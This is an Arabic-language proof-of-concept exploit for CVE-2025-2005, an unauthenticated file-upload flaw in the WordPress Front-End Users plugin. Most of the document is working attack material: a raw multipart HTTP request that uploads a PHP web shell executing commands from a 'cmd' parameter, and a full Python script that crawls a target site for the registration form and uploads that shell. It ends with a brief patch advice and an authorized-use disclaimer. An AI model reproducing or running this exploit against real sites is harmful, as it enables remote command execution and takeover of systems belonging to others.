
استغلال إثبات المفهوم لـ CVE-2025-2005، وهي ثغرة رفع ملف عشوائي في إضافة WordPress Front-End Users Plugin (<=3.2.32). يتضمن نصوص HTTP يدوية وبايثون لرفع قذائف ويب PHP إلى نماذج التسجيل غير المصادق عليها.
By h4ckxel
يستغل هذا الإكسبلويت ضعف التحقق من رفع الملفات في نماذج التسجيل الخاصة بالإضافة. لا توجد مرشحات للامتدادات، ولا فحوصات مصادقة، ولا تنقية لأنواع الملفات. يمكن للمهاجم إرسال طلب multipart/form-data إلى أي نموذج تسجيل وإدراج ملف .php ضار في حقل مخصص (مثل xxploit).
على الرغم من أن الملفات المرفوعة تذهب إلى wp-content/uploads/ewd_feup_uploads/ مع تجزئة عشوائية في الاسم، إلا أنها تظل قابلة للتنفيذ إذا تم تمكين PHP في الدليل.
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="xxploit"; filename="shell.php"
Content-Type: application/x-php
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary--
يتم حفظ الملف في:
/wp-content/uploads/ewd_feup_uploads/[HASH_ALEATORIO].php
يتغير الاسم، ولكن يمكن العثور عليه يدويًا أو باستخدام ماسح ضوئي.
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin")
parser.add_argument("--url", "-u", required=True, help="URL base del sitio target (ej. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Usuario para registrar")
parser.add_argument("--newpassword", "-np", required=True, help="Password del nuevo usuario")
args = parser.parse_args()
base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword
print(f"[*] Scaneando: {base_url}")
try:
response = session.get(base_url, timeout=10)
soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
print("[-] Error al acceder al sitio.")
exit()
page_links = {urljoin(base_url, a['href']) for a in soup.find_all("a", href=True)}
print(f"[*] {len(page_links)} páginas encontradas...")
registration_url = None
for link in page_links:
try:
page = session.get(link, timeout=10)
if "ewd-feup-register-form" in page.text:
registration_url = link
print(f"[+] Form de registro encontrado en: {registration_url}")
break
except:
continue
if not registration_url:
print("[-] No se encontró el form automáticamente. Intenta manualmente con --url.")
exit()
shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
data = {
'ewd-feup-action': 'register',
'Username': username,
'User_Password': password,
'Confirm_User_Password': password,
'Register_Submit': 'Register'
}
files = {'file': ('shell.php', shell_content, 'application/x-php')}
print("[*] Subiendo shell a:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
if upload_response.status_code == 200:
print("[+] Upload completado.")
else:
print("[-] Falló la subida.")
تحديث الإضافة إلى آخر إصدار آمن (إن وجد)، أو تعطيلها مؤقتًا إذا لم يكن هناك تصحيح. بالإضافة إلى ذلك:
wp-content/uploads/.إثبات المفهوم هذا هو فقط لأغراض تعليمية واختبارات أمنية مصرح بها. لا تكن لامر، استخدم هذا بمسؤولية وفقط في بيئات لديك إذن بها.